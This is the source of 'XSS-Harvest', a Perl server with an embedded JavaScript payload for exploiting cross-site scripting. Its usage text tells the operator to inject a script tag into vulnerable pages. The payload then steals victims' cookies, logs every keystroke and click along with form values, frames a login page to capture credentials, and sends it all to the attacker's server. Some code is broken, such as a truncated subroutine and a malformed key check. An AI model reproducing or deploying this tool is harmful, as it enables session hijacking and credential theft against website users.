# This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version.
# This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details.
# You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>.
package XSSHarvest;
use warnings; use strict;
use HTTP::Server::Simple::CGI; use base qw(HTTP::Server::Simple::CGI); use Digest::MD5 qw(md5_hex); use Fcntl qw(:flock); use Time::Local; use Fcntl qw(:flock SEEK_END); use Term::ANSIColor; use Getopt::Std;
# Command line options my %options;
if (! getopts('p:r:l', \%options)) { usage(); exit; } # If no -l specified, show options if (! $options{l} == 1) { usage(); exit; }
# The client-side javascript - listed at the bottom of this file my @infection = <DATA>;
# flock a file sub lock { my ($fh) = @_; flock($fh, LOCK_EX) or die "[ERROR] Cannot lock history file - $!\n"; # and, in case someone appended while we were waiting... seek($fh, 0, SEEK_END) or die "[ERROR] Cannot seek - $!\n"; }
# release a file sub unlock { my ($fh) = @_; flock($fh, LOCK_UN) or die "[ERROR] Cannot unlock file - $!\n"; }
# populate client-side javascript variables sub getInfection { my $ip = shift;
# Usage information sub usage { print "\nUsage:\n\t$0 -l [-p Port] [-r Redress the victims browser]\n";
print "\nStart with (-l) and point your victims at http://<YOUR INTERNET FACING IP>/i to be \"infected\".\n"; print "\te.g. inject something like this into a vulnerable page - <script src='http://<YOURSERVERIP>/i'></script>\n\n"; print "Optionally run $0 with the (-r) parameter to redress the victims browser to "; print "a different page on the same site (such as a login form) after successful infection.\n"; print "\te.g. $0 -l -r http://<TARGETSITE>/login.php \n\n"; print "For persistent XSS (infection persists across subsequent pages on the same domain), "; print "you must use the redress feature, even if you intend to display the original vulnerable page.\n\n"; }
# Startup server code.... my $port = $options{p} || 80;
my $server = XSSHarvest->new($port); sub net_server { 'Net::Server::PreFork' };
print color 'bold'; print "\n************************"; print "\n* XSS-Harvest Server *\n"; print "************************"; print color 'reset'; print "\n\n[INFO] Starting server....\n";
# Check history directory exists if (! -d './history') { print "[INFO] No history directory found, creating...\n"; mkdir 'history' || die "[ERROR] Cannot create history directory\n"; } else { print "[INFO] History directory found.\n"; }
$server->run();
__DATA__
if (body !== undefined) { exit; }
var body = document.getElementsByTagName("body")[0];
if (redresspage !== undefined && ! document.getElementById("redressFrame")) { var se1 = document.createElement('div'); se1.setAttribute('id', 'redressDiv'); se1.setAttribute('style', 'height:100%;width:100%;position:absolute;top:0;right:0;left:0;bottom:0;margin:0;padding:0;background-color:white;'); var inner = "<iframe onload='sendPage()' frameBorder='0' id='redressFrame' width='100%' height='100%' src='" + redresspage + "'></iframe>"; se1.innerHTML = inner; body.appendChild(se1); } else { addListeners(this.body); var pageurl = escape(location.href); var cookies = escape(document.cookie); var referer = escape(document.referrer); var initalinfection = destination + '/p?p=' + pageurl + '&c=' + cookies + '&r=' + referer; addScript(initalinfection); }
function addListeners(body) { if (body.addEventListener) { body.addEventListener("keypress",keypressAction,false); body.addEventListener("keydown",keydownAction,false); body.addEventListener("click",click,false); } else if (body.attachEvent){ body.attachEvent("onkeypress", keypressAction); body.attachEvent("onkeydown", keydownAction); body.attachEvent("onclick", click); } else { var error = escape("[ERROR] Cannot add event listeners to page"); addScript(destination + '/d?d=' + error); } }
function click(e) { var doc; if (frame = document.getElementById("redressFrame")) { doc = frame.contentWindow.document || frame.contentDocument.document; } else { doc = document; } var X = e.pageX || (e.clientX + doc.body.scrollLeft); var Y = e.pageY || (e.clientY + doc.body.scrollTop); var data = "[CLICK RECEIVED]\n\t[COORDS] "+X+","+Y; var element = doc.activeElement; var name = element.name || ""; var value = element.value || ""; var text = element.text || ""; var tag = element.tagName || ""; if (tag != "") { data = data + "\n\t[TAGNAME]"+tag; } if (name != "") { data = data + "\n\t[NAME]"+name; } if (value != "") { data = data + "\n\t[VALUE]"+value; } if (text != "") { data = data + "\n\t[TEXT]"+text; }
if (element.selectedIndex) { data = data + "\n\t[SELECTED]"+ element.options[element.selectedIndex].text; }
data = escape(data); addScript(destination + '/d?d=' + data); }
function sendKey(key) { var randomnumber=Math.floor(Math.random()*1001); addScript(destination + '/k?k=' + key + '&t=' + randomnumber); }
function keypressAction(e) { var key; if (e.which == null) key = String.fromCharCode(e.keyCode); else if (e.which != 0 && e.charCode != 0) key = String.fromCharCode(e.which); else key = "<specialkey>"; sendKey(escape(key)); }
function keydownAction(e) { var key; key = e.keyCode || e.which; if (key == 9) sendKey(escape("<TAB>")); if (key == 13) sendKey(escape("<ENTER>")); if (key == 37) sendKey(escape("<LEFT ARROW>")); if (key == 38) sendKey(escape("<UP ARROW>")); if (key == 39) sendKey(escape("<RIGHT ARROW>")); if (key == 40) sendKey(escape("<DOWN ARROW>")); if (key == sendKey(escape("<BACK SPACE>")); if (key == 46) sendKey(escape("<DELETE>")); }
function sendPage() { var frame = document.getElementById("redressFrame"); var doc = frame.contentWindow.document || frame.contentDocument.document; if (doc.document) { doc = doc.document; } document.title = doc.title; var body = doc.getElementsByTagName("body")[0]; addListeners(body); var url = escape(doc.location.href); var cookies = escape(doc.cookie); var pageurl = destination + '/p?p=' + url + '&c=' + cookies; addScript(pageurl); }
function addScript(url) { var scr = document.createElement("script"); scr.setAttribute("language", "JavaScript"); scr.setAttribute("src", url); document.getElementsByTagName("body")[0].appendChild(scr); }